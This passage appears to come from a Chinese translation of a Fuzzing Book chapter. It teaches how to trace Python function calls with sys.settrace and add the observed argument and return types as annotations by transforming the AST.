+我们看到`mypy`抱怨未类型化的函数定义，例如`my_sqrt()`； 最重要的是，它发现最后一行中对`my_sqrt_with_type_annotations()`的调用类型错误。
+
+使用`mypy`，我们可以使用Python达到与静态类型语言相同的类型安全性-前提是我们作为程序员还可以生成必要的类型注释。 有没有简单的方法来获取这些？
+
+## 挖掘类型规范
+
+我们的第一个任务是从运行时观察到的*值*中挖掘类型注释（作为代码的一部分）。 这些类型注释将是*从实际函数执行中提取的*，*从（正常）运行中学习*的预期参数和返回类型应该是什么。 通过观察一系列这样的调用，我们可以推断`x`和返回值均为`float`类型：
+
+```py
+y = my_sqrt(25.0)
+y
+
+```
+
+```py
+5.0
+
+```
+
+```py
+y = my_sqrt(2.0)
+y
+
+```
+
+```py
+1.414213562373095
+
+```
+
+我们如何从执行中挖掘类型？ 答案很简单：
+
+1.  我们在执行过程中观察*一个函数*
+2.  我们跟踪其参数的*类型*
+3.  我们将这些类型作为*注释*包含在代码中。
+
+为此，我们可以利用在关于覆盖率的章节中已经观察到的Python跟踪工具。 每次调用函数时，我们都会检索参数，它们的值和它们的类型。
+
+### 跟踪呼叫
+
+为了在运行时观察参数类型，我们定义了*跟踪器函数*，该函数跟踪`my_sqrt()`的执行情况，检查其参数并返回值。 `Tracker`类设置为跟踪`with`块中的函数，如下所示：
+
+```py
+with Tracker() as tracker:
+    function_to_be_tracked(...)
+info = tracker.collected_information()
+
+```
+
+就像关于的[一章中一样，我们在执行期间使用`sys.settrace()`函数跟踪单个函数。 当`with`块开始时，我们打开跟踪； 此时，将调用`__enter__()`方法。 当`with`块的执行结束时，将调用`__exit()__`。](Coverage.html)
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+class Tracker(object):
+    def __init__(self, log=False):
+        self._log = log
+        self.reset()
+
+    def reset(self):
+        self._calls = {}
+        self._stack = []
+
+    def traceit(self):
+        """Placeholder to be overloaded in subclasses"""
+        pass
+
+    # Start of `with` block
+    def __enter__(self):
+        self.original_trace_function = sys.gettrace()
+        sys.settrace(self.traceit)
+        return self
+
+    # End of `with` block
+    def __exit__(self, exc_type, exc_value, tb):
+        sys.settrace(self.original_trace_function)
+
+```
+
+`traceit()`方法什么也没做； 这是在专门的子类中完成的。 `CallTracker`类实现了`traceit()`函数，该函数检查函数调用并返回：
+
+```py
+class CallTracker(Tracker):
+    def traceit(self, frame, event, arg):
+        """Tracking function: Record all calls and all args"""
+        if event == "call":
+            self.trace_call(frame, event, arg)
+        elif event == "return":
+            self.trace_return(frame, event, arg)
+
+        return self.traceit
+
+```
+
+调用函数时，调用`trace_call()`。 它检索函数名称和当前参数，并将它们保存在堆栈中。
+
+```py
+class CallTracker(CallTracker):
+    def trace_call(self, frame, event, arg):
+        """Save current function name and args on the stack"""
+        code = frame.f_code
+        function_name = code.co_name
+        arguments = get_arguments(frame)
+        self._stack.append((function_name, arguments))
+
+        if self._log:
+            print(simple_call_string(function_name, arguments))
+
+```
+
+```py
+def get_arguments(frame):
+    """Return call arguments in the given frame"""
+    # When called, all arguments are local variables
+    arguments = [(var, frame.f_locals[var]) for var in frame.f_locals]
+    arguments.reverse()  # Want same order as call
+    return arguments
+
+```
+
+当函数返回时，将调用`trace_return()`。 现在，我们还有返回值。 我们使用参数记录整个调用并返回值（如果需要），并将其保存在调用列表中。
+
+```py
+class CallTracker(CallTracker):
+    def trace_return(self, frame, event, arg):
+        """Get return value and store complete call with arguments and return value"""
+        code = frame.f_code
+        function_name = code.co_name
+        return_value = arg
+        # TODO: Could call get_arguments() here to also retrieve _final_ values of argument variables
+
+        called_function_name, called_arguments = self._stack.pop()
+        assert function_name == called_function_name
+
+        if self._log:
+            print(simple_call_string(function_name, called_arguments), "returns", return_value)
+
+        self.add_call(function_name, called_arguments, return_value)
+
+```
+
+`simple_call_string()`是用于记录的帮助程序，它以用户友好的方式打印出呼叫。
+
+```py
+def simple_call_string(function_name, argument_list, return_value=None):
+    """Return function_name(arg[0], arg[1], ...) as a string"""
+    call = function_name + "(" + \
+        ", ".join([var + "=" + repr(value)
+                   for (var, value) in argument_list]) + ")"
+
+    if return_value is not None:
+        call += " = " + repr(return_value)
+
+    return call
+
+```
+
+`add_call()`将呼叫保存在列表中； 每个函数名称都有其自己的列表。
+
+```py
+class CallTracker(CallTracker):
+    def add_call(self, function_name, arguments, return_value=None):
+        """Add given call to list of calls"""
+        if function_name not in self._calls:
+            self._calls[function_name] = []
+        self._calls[function_name].append((arguments, return_value))
+
+```
+
+使用`calls()`，我们可以检索给定功能或所有功能的调用列表。
+
+```py
+class CallTracker(CallTracker):
+    def calls(self, function_name=None):
+        """Return list of calls for function_name, 
+ or a mapping function_name -> calls for all functions tracked"""
+        if function_name is None:
+            return self._calls
+
+        return self._calls[function_name]
+
+```
+
+现在让我们使用它。 我们打开日志记录以跟踪各个调用及其返回值：
+
+```py
+with CallTracker(log=True) as tracker:
+    y = my_sqrt(25)
+    y = my_sqrt(2.0)
+
+```
+
+```py
+my_sqrt(x=25)
+my_sqrt(x=25) returns 5.0
+my_sqrt(x=2.0)
+my_sqrt(x=2.0) returns 1.414213562373095
+__exit__(self=<__main__.CallTracker object at 0x114c3e898>, exc_type=None, exc_value=None, tb=None)
+
+```
+
+执行后，我们可以检索单个调用：
+
+```py
+calls = tracker.calls('my_sqrt')
+calls
+
+```
+
+```py
+[([('x', 25)], 5.0), ([('x', 2.0)], 1.414213562373095)]
+
+```
+
+每个呼叫都是一对（`argument_list`，`return_value`），其中`argument_list`是一对列表（`parameter_name`，`value`）。
+
+```py
+my_sqrt_argument_list, my_sqrt_return_value = calls[0]
+simple_call_string('my_sqrt', my_sqrt_argument_list, my_sqrt_return_value)
+
+```
+
+```py
+'my_sqrt(x=25) = 5.0'
+
+```
+
+如果函数未返回值，则`return_value`为`None`。
+
+```py
+def hello(name):
+    print("Hello,", name)
+
+```
+
+```py
+with CallTracker() as tracker:
+    hello("world")
+
+```
+
+```py
+Hello, world
+
+```
+
+```py
+hello_calls = tracker.calls('hello')
+hello_calls
+
+```
+
+```py
+[([('name', 'world')], None)]
+
+```
+
+```py
+hello_argument_list, hello_return_value = hello_calls[0]
+simple_call_string('hello', hello_argument_list, hello_return_value)
+
+```
+
+```py
+"hello(name='world')"
+
+```
+
+### 获取类型
+
+尽管您可能已经读过或听过，Python实际上*是*一种类型的语言。 只是它是*动态类型的* –类型仅在运行时使用和检查（而不是在代码中声明，可以在编译时对*进行静态检查*）。 因此，我们可以在Python中检索所有值的类型：
+
+```py
+type(4)
+
+```
+
+```py
+int
+
+```
+
+```py
+type(2.0)
+
+```
+
+```py
+float
+
+```
+
+```py
+type([4])
+
+```
+
+```py
+list
+
+```
+
+我们可以检索`my_sqrt()`的第一个参数的类型：
+
+```py
+parameter, value = my_sqrt_argument_list[0]
+parameter, type(value)
+
+```
+
+```py
+('x', int)
+
+```
+
+以及返回值的类型：
+
+```py
+type(my_sqrt_return_value)
+
+```
+
+```py
+float
+
+```
+
+因此，我们看到（到目前为止），`my_sqrt()`是一个函数（采用整数）并返回浮点数。 我们可以将`my_sqrt()`声明为：
+
+```py
+def my_sqrt_annotated(x: int) -> float:
+    return my_sqrt(x)
+
+```
+
+这是我们可以放置在静态类型检查器中的一种表示形式，它可以检查对`my_sqrt()`的调用是否实际上传递了数字。 动态类型检查器可以在运行时运行此类检查。 当然，任何[符号解释](SymbolicFuzzer.html)都会从附加注释中受益匪浅。
+
+默认情况下，Python对此类注释不做任何事情。 但是，工具可以从函数和其他对象访问批注：
+
+```py
+my_sqrt_annotated.__annotations__
+
+```
+
+```py
+{'x': int, 'return': float}
+
+```
+
+这是运行时检查器访问注释进行检查的方式。
+
+### 访问功能结构
+
+我们的计划是根据我们看到的类型自动注释功能。 为此，我们需要一些模块，这些模块允许我们将函数转换为树表示形式（称为*抽象语法树*或AST），然后返回； 我们已经在[曲线](ConcolicFuzzer.html)和[符号](SymbolicFuzzer.html)测试中的章节中看到了这些。
+
+```py
+import [ast](https://docs.python.org/3/library/ast.html)
+import [inspect](https://docs.python.org/3/library/inspect.html)
+import [astor](https://docs.python.org/3/library/astor.html)
+
+```
+
+我们可以使用`inspect.getsource()`获得Python函数的源代码。 （请注意，这不适用于其他笔记本中定义的功能。）
+
+```py
+my_sqrt_source = inspect.getsource(my_sqrt)
+my_sqrt_source
+
+```
+
+```py
+'def my_sqrt(x):\n    """Computes the square root of x, using the Newton-Raphson method"""\n    approx = None\n    guess = x / 2\n    while approx != guess:\n        approx = guess\n        guess = (approx + x / approx) / 2\n    return approx\n'
+
+```
+
+为了以令人愉悦的形式查看这些内容，我们的函数`print_content(s, suffix)`格式化并突出显示了字符串`s`，就像它是一个以`suffix`结尾的文件一样。 因此，我们可以像查看Python文件一样查看（并突出显示）源：
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import print_content
+
+```
+
+```py
+print_content(my_sqrt_source, '.py')
+
+```
+
+```py
+def my_sqrt(x):
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+对此进行解析可以为我们提供抽象语法树（AST）-以树形式表示程序。
+
+```py
+my_sqrt_ast = ast.parse(my_sqrt_source)
+
+```
+
+这个AST是什么样的？ 辅助功能`astor.dump_tree()`（文本输出）和`showast.show_ast()`（带有 [showast](https://github.com/hchasestevens/show_ast) 的图形输出）使我们可以检查树的结构。 我们看到函数以带有名称和参数的`FunctionDef`开始，后跟一个主体，该主体是`Expr`类型（文档字符串），`Assign`类型（赋值），`While`类型的语句列表 环回自己的身体），最后`Return`。
+
+```py
+print(astor.dump_tree(my_sqrt_ast))
+
+```
+
+```py
+Module(
+    body=[
+        FunctionDef(name='my_sqrt',
+            args=arguments(args=[arg(arg='x', annotation=None)],
+                vararg=None,
+                kwonlyargs=[],
+                kw_defaults=[],
+                kwarg=None,
+                defaults=[]),
+            body=[
+                Expr(value=Str(s='Computes the square root of x, using the Newton-Raphson method')),
+                Assign(targets=[Name(id='approx')], value=NameConstant(value=None)),
+                Assign(targets=[Name(id='guess')], value=BinOp(left=Name(id='x'), op=Div, right=Num(n=2))),
+                While(
+                    test=Compare(left=Name(id='approx'), ops=[NotEq], comparators=[Name(id='guess')]),
+                    body=[Assign(targets=[Name(id='approx')], value=Name(id='guess')),
+                        Assign(targets=[Name(id='guess')],
+                            value=BinOp(
+                                left=BinOp(left=Name(id='approx'),
+                                    op=Add,
+                                    right=BinOp(left=Name(id='x'), op=Div, right=Name(id='approx'))),
+                                op=Div,
+                                right=Num(n=2)))],
+                    orelse=[]),
+                Return(value=Name(id='approx'))],
+            decorator_list=[],
+            returns=None)])
+
+```
+
+文字太多了吗？ 这种图形表示可以使事情变得更简单。
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import rich_output
+
+```
+
+```py
+if rich_output():
+    import [showast](https://docs.python.org/3/library/showast.html)
+    showast.show_ast(my_sqrt_ast)
+
+```
+
+<svg height="548pt" viewBox="0.00 0.00 1705.00 548.00" width="1705pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 544)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="303.5" y="-519.3">FunctionDef</text></g> <g class="node" id="node2"><title>1</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="90" y="-446.3">"my_sqrt"</text></g> <g class="edge" id="edge1"><title>0--1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="162" y="-447.3">arguments</text></g> <g class="edge" id="edge2"><title>0--2</title></g> <g class="node" id="node6"><title>5</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="272.5" y="-447.3">Assign</text></g> <g class="edge" id="edge5"><title>0--5</title></g> <g class="node" id="node11"><title>10</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="367.5" y="-447.3">Assign</text></g> <g class="edge" id="edge10"><title>0--10</title></g> <g class="node" id="node22"><title>21</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="919.5" y="-447.3">While</text></g> <g class="edge" id="edge21"><title>0--21</title></g> <g class="node" id="node59"><title>58</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1333.5" y="-447.3">Return</text></g> <g class="edge" id="edge58"><title>0--58</title></g> <g class="node" id="node4"><title>3</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="48" y="-375.3">arg</text></g> <g class="edge" id="edge3"><title>2--3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="27" y="-302.3">"x"</text></g> <g class="edge" id="edge4"><title>3--4</title></g> <g class="node" id="node7"><title>6</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="168" y="-375.3">Name</text></g> <g class="edge" id="edge6"><title>5--6</title></g> <g class="node" id="node10"><title>9</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="289" y="-374.3">NameConstant</text></g> <g class="edge" id="edge9"><title>5--9</title></g> <g class="node" id="node8"><title>7</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="114" y="-302.3">"approx"</text></g> <g class="edge" id="edge7"><title>6--7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="204" y="-302.3">Store</text></g> <g class="edge" id="edge8"><title>6--8</title></g> <g class="node" id="node12"><title>11</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="376" y="-375.3">Name</text></g> <g class="edge" id="edge11"><title>10--11</title></g> <g class="node" id="node15"><title>14</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="482.5" y="-375.3">BinOp</text></g> <g class="edge" id="edge14"><title>10--14</title></g> <g class="node" id="node13"><title>12</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="289" y="-302.3">"guess"</text></g> <g class="edge" id="edge12"><title>11--12</title></g> <g class="node" id="node14"><title>13</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="374" y="-302.3">Store</text></g> <g class="edge" id="edge13"><title>11--13</title></g> <g class="node" id="node16"><title>15</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="432" y="-303.3">Name</text></g> <g class="edge" id="edge15"><title>14--15</title></g> <g class="node" id="node19"><title>18</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="521" y="-302.3">Div</text></g> <g class="edge" id="edge18"><title>14--18</title></g> <g class="node" id="node20"><title>19</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="580" y="-303.3">Num</text></g> <g class="edge" id="edge19"><title>14--19</title></g> <g class="node" id="node17"><title>16</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="377" y="-230.3">"x"</text></g> <g class="edge" id="edge16"><title>15--16</title></g> <g class="node" id="node18"><title>17</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="449" y="-230.3">Load</text></g> <g class="edge" id="edge17"><title>15--17</title></g> <g class="node" id="node21"><title>20</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="521" y="-230.3">2</text></g> <g class="edge" id="edge20"><title>19--20</title></g> <g class="node" id="node23"><title>22</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="785.5" y="-375.3">Compare</text></g> <g class="edge" id="edge22"><title>21--22</title></g> <g class="node" id="node31"><title>30</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="967.5" y="-375.3">Assign</text></g> <g class="edge" id="edge30"><title>21--30</title></g> <g class="node" id="node38"><title>37</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1305.5" y="-375.3">Assign</text></g> <g class="edge" id="edge37"><title>21--37</title></g> <g class="node" id="node24"><title>23</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="678" y="-303.3">Name</text></g> <g class="edge" id="edge23"><title>22--23</title></g> <g class="node" id="node27"><title>26</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="778" y="-302.3">NotEq</text></g> <g class="edge" id="edge26"><title>22--26</title></g> <g class="node" id="node28"><title>27</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="836" y="-303.3">Name</text></g> <g class="edge" id="edge27"><title>22--27</title></g> <g class="node" id="node25"><title>24</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="608" y="-230.3">"approx"</text></g> <g class="edge" id="edge24"><title>23--24</title></g> <g class="node" id="node26"><title>25</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="695" y="-230.3">Load</text></g> <g class="edge" id="edge25"><title>23--25</title></g> <g class="node" id="node29"><title>28</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="778" y="-230.3">"guess"</text></g> <g class="edge" id="edge28"><title>27--28</title></g> <g class="node" id="node30"><title>29</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="861" y="-230.3">Load</text></g> <g class="edge" id="edge29"><title>27--29</title></g> <g class="node" id="node32"><title>31</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="976" y="-303.3">Name</text></g> <g class="edge" id="edge31"><title>30--31</title></g> <g class="node" id="node35"><title>34</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1106" y="-303.3">Name</text></g> <g class="edge" id="edge34"><title>30--34</title></g> <g class="node" id="node33"><title>32</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="948" y="-230.3">"approx"</text></g> <g class="edge" id="edge32"><title>31--32</title></g> <g class="node" id="node34"><title>33</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1038" y="-230.3">Store</text></g> <g class="edge" id="edge33"><title>31--33</title></g> <g class="node" id="node36"><title>35</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1123" y="-230.3">"guess"</text></g> <g class="edge" id="edge35"><title>34--35</title></g> <g class="node" id="node37"><title>36</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1206" y="-230.3">Load</text></g> <g class="edge" id="edge36"><title>34--36</title></g> <g class="node" id="node39"><title>38</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1314" y="-303.3">Name</text></g> <g class="edge" id="edge38"><title>37--38</title></g> <g class="node" id="node42"><title>41</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1429.5" y="-303.3">BinOp</text></g> <g class="edge" id="edge41"><title>37--41</title></g> <g class="node" id="node40"><title>39</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1289" y="-230.3">"guess"</text></g> <g class="edge" id="edge39"><title>38--39</title></g> <g class="node" id="node41"><title>40</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1374" y="-230.3">Store</text></g> <g class="edge" id="edge40"><title>38--40</title></g> <g class="node" id="node43"><title>42</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1429.5" y="-231.3">BinOp</text></g> <g class="edge" id="edge42"><title>41--42</title></g> <g class="node" id="node56"><title>55</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1526" y="-230.3">Div</text></g> <g class="edge" id="edge55"><title>41--55</title></g> <g class="node" id="node57"><title>56</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1586" y="-231.3">Num</text></g> <g class="edge" id="edge56"><title>41--56</title></g> <g class="node" id="node44"><title>43</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1361" y="-159.3">Name</text></g> <g class="edge" id="edge43"><title>42--43</title></g> <g class="node" id="node47"><title>46</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1450" y="-158.3">Add</text></g> <g class="edge" id="edge46"><title>42--46</title></g> <g class="node" id="node48"><title>47</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1503.5" y="-159.3">BinOp</text></g> <g class="edge" id="edge47"><title>42--47</title></g> <g class="node" id="node45"><title>44</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1293" y="-86.3">"approx"</text></g> <g class="edge" id="edge44"><title>43--44</title></g> <g class="node" id="node46"><title>45</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1380" y="-86.3">Load</text></g> <g class="edge" id="edge45"><title>43--45</title></g> <g class="node" id="node49"><title>48</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1436" y="-87.3">Name</text></g> <g class="edge" id="edge48"><title>47--48</title></g> <g class="node" id="node52"><title>51</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1525" y="-86.3">Div</text></g> <g class="edge" id="edge51"><title>47--51</title></g> <g class="node" id="node53"><title>52</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1580" y="-87.3">Name</text></g> <g class="edge" id="edge52"><title>47--52</title></g> <g class="node" id="node50"><title>49</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1396" y="-14.3">"x"</text></g> <g class="edge" id="edge49"><title>48--49</title></g> <g class="node" id="node51"><title>50</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1468" y="-14.3">Load</text></g> <g class="edge" id="edge50"><title>48--50</title></g> <g class="node" id="node54"><title>53</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1583" y="-14.3">"approx"</text></g> <g class="edge" id="edge53"><title>52--53</title></g> <g class="node" id="node55"><title>54</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1670" y="-14.3">Load</text></g> <g class="edge" id="edge54"><title>52--54</title></g> <g class="node" id="node58"><title>57</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1600" y="-158.3">2</text></g> <g class="edge" id="edge57"><title>56--57</title></g> <g class="node" id="node60"><title>59</title> <text fill="#004080" font-family="Courier,monospace" font-size="14.00" font-weight="bold" text-anchor="start" x="1524" y="-375.3">Name</text></g> <g class="edge" id="edge59"><title>58--59</title></g> <g class="node" id="node61"><title>60</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1541" y="-302.3">"approx"</text></g> <g class="edge" id="edge60"><title>59--60</title></g> <g class="node" id="node62"><title>61</title> <text fill="#008040" font-family="Courier,monospace" font-size="14.00" text-anchor="middle" x="1628" y="-302.3">Load</text></g> <g class="edge" id="edge61"><title>59--61</title></g></g></svg>
+
+函数`astor.to_source()`将这种树转换回更熟悉的文本Python代码表示形式。 注释不见了，括号可能比以前多了，但是结果具有相同的语义：
+
+```py
+print_content(astor.to_source(my_sqrt_ast), '.py')
+
+```
+
+```py
+def my_sqrt(x):
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+### 给定类型的函数注释
+
+现在让我们对这些树进行转换，以添加类型注释。 我们从一个辅助函数`parse_type(name)`开始，该函数将类型名称解析为AST。
+
+```py
+def parse_type(name):
+    class ValueVisitor(ast.NodeVisitor):
+        def visit_Expr(self, node):
+            self.value_node = node.value
+
+    tree = ast.parse(name)
+    name_visitor = ValueVisitor()
+    name_visitor.visit(tree)
+    return name_visitor.value_node
+
+```
+
+```py
+print(astor.dump_tree(parse_type('int')))
+
+```
+
+```py
+Name(id='int')
+
+```
+
+```py
+print(astor.dump_tree(parse_type('[object]')))
+
+```
+
+```py
+List(elts=[Name(id='object')])
+
+```
+
+现在，我们定义一个辅助函数，该辅助函数实际上将类型注释添加到函数AST中。 `TypeTransformer`类建立在Python标准库`ast.NodeTransformer`基础结构上。 它将被称为
+
+```py
+TypeTransformer({'x': 'int'}, 'float').visit(ast)
+
+```
+
+用`int`注释`my_sqrt()`：`x`的参数，并用`float`注释返回类型。 然后可以对返回的AST进行不分析，编译或分析。
+
+```py
+class TypeTransformer(ast.NodeTransformer):
+    def __init__(self, argument_types, return_type=None):
+        self.argument_types = argument_types
+        self.return_type = return_type
+        super().__init__()
+
+```
+
+`TypeTransformer`的核心是方法`visit_FunctionDef()`，对于AST中的每个函数定义都将调用该方法。 其参数`node`是要转换的函数定义的子树。 我们的实现访问各个参数，并在它们上调用`annotate_args()`； 它还在节点的`returns`属性中设置返回类型。
+
+```py
+class TypeTransformer(TypeTransformer):
+    def visit_FunctionDef(self, node):
+        """Add annotation to function"""
+        # Set argument types
+        new_args = []
+        for arg in node.args.args:
+            new_args.append(self.annotate_arg(arg))
+
+        new_arguments = ast.arguments(
+            new_args,
+            node.args.vararg,
+            node.args.kwonlyargs,
+            node.args.kw_defaults,
+            node.args.kwarg,
+            node.args.defaults
+        )
+
+        # Set return type
+        if self.return_type is not None:
+            node.returns = parse_type(self.return_type)
+
+        return ast.copy_location(ast.FunctionDef(node.name, new_arguments, 
+                                                 node.body, node.decorator_list,
+                                                 node.returns), node)
+
+```
+
+每个参数都有自己的注释，该注释取自最初传递给类的类型：
+
+```py
+class TypeTransformer(TypeTransformer):
+    def annotate_arg(self, arg):
+        """Add annotation to single function argument"""
+        arg_name = arg.arg
+        if arg_name in self.argument_types:
+            arg.annotation = parse_type(self.argument_types[arg_name])
+        return arg
+
+```
+
+这样行吗？ 让我们用`my_sqrt()`的AST注释参数和返回类型：
+
+```py
+new_ast = TypeTransformer({'x': 'int'}, 'float').visit(my_sqrt_ast)
+
+```
+
+当我们解析新的AST时，我们看到注释实际上存在：
+
+```py
+print_content(astor.to_source(new_ast), '.py')
+
+```
+
+```py
+def my_sqrt(x: int) ->float:
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+同样，我们可以从上方注释`hello()`函数：
+
+```py
+hello_source = inspect.getsource(hello)
+
+```
+
+```py
+hello_ast = ast.parse(hello_source)
+
+```
+
+```py
+new_ast = TypeTransformer({'name': 'str'}, 'None').visit(hello_ast)
+
+```
+
+```py
+print_content(astor.to_source(new_ast), '.py')
+
+```
+
+```py
+def hello(name: str) ->None:
+    print('Hello,', name)
+
+```
+
+### 使用挖掘类型注释函数
+
+现在让我们用在运行时挖掘的类型注释函数。 我们从一个简单的函数`type_string()`开始，该函数确定给定值的适当类型（作为字符串）：
+
+```py
+def type_string(value):
+    return type(value).__name__
+
+```
+
+```py
+type_string(4)
+
+```
+
+```py
+'int'
+
+```
+
+```py
+type_string([])
+
+```
+
+```py
+'list'
+
+```
+
+对于复合结构，`type_string()`不检查元素类型； 因此，`[3]`的类型只是`list`而不是`list[int]`。 目前，`list`会很好。
+
+```py
+type_string([3])
+
+```
+
+```py
+'list'
+
+```
+
+`type_string()`将用于推断在运行时发现的参数值的类型，如`CallTracker.calls()`返回的那样：
+
+```py
+with CallTracker() as tracker:
+    y = my_sqrt(25.0)
+    y = my_sqrt(2.0)
+
+```
+
+```py
+tracker.calls()
+
+```
+
+```py
+{'my_sqrt': [([('x', 25.0)], 5.0), ([('x', 2.0)], 1.414213562373095)]}
+
+```
+
+函数`annotate_types()`接受这样的调用列表并注释列出的每个函数：
+
+```py
+def annotate_types(calls):
+    annotated_functions = {}
+
+    for function_name in calls:
+        try:
+            annotated_functions[function_name] = annotate_function_with_types(function_name, calls[function_name])
+        except KeyError:
+            continue
+
+    return annotated_functions
+
+```
+
+对于每个函数，我们获取源代码及其AST，然后转到`annotate_function_ast_with_types()`中的实际注释：
+
+```py
+def annotate_function_with_types(function_name, function_calls):
+    function = globals()[function_name]  # May raise KeyError for internal functions
+    function_code = inspect.getsource(function)
+    function_ast = ast.parse(function_code)
+    return annotate_function_ast_with_types(function_ast, function_calls)
+
+```
+
+函数`annotate_function_ast_with_types()`使用看到的调用来调用`TypeTransformer`，并且对于每个调用，对参数进行迭代，确定其类型，并使用这些参数对AST进行注释。 当我们遇到类型冲突时，将使用通用类型`Any`，我们将在下面进行讨论。
+
+```py
+from [typing](https://docs.python.org/3/library/typing.html) import Any
+
+```
+
+```py
+def annotate_function_ast_with_types(function_ast, function_calls):
+    parameter_types = {}
+    return_type = None
+
+    for calls_seen in function_calls:
+        args, return_value = calls_seen
+        if return_value is not None:
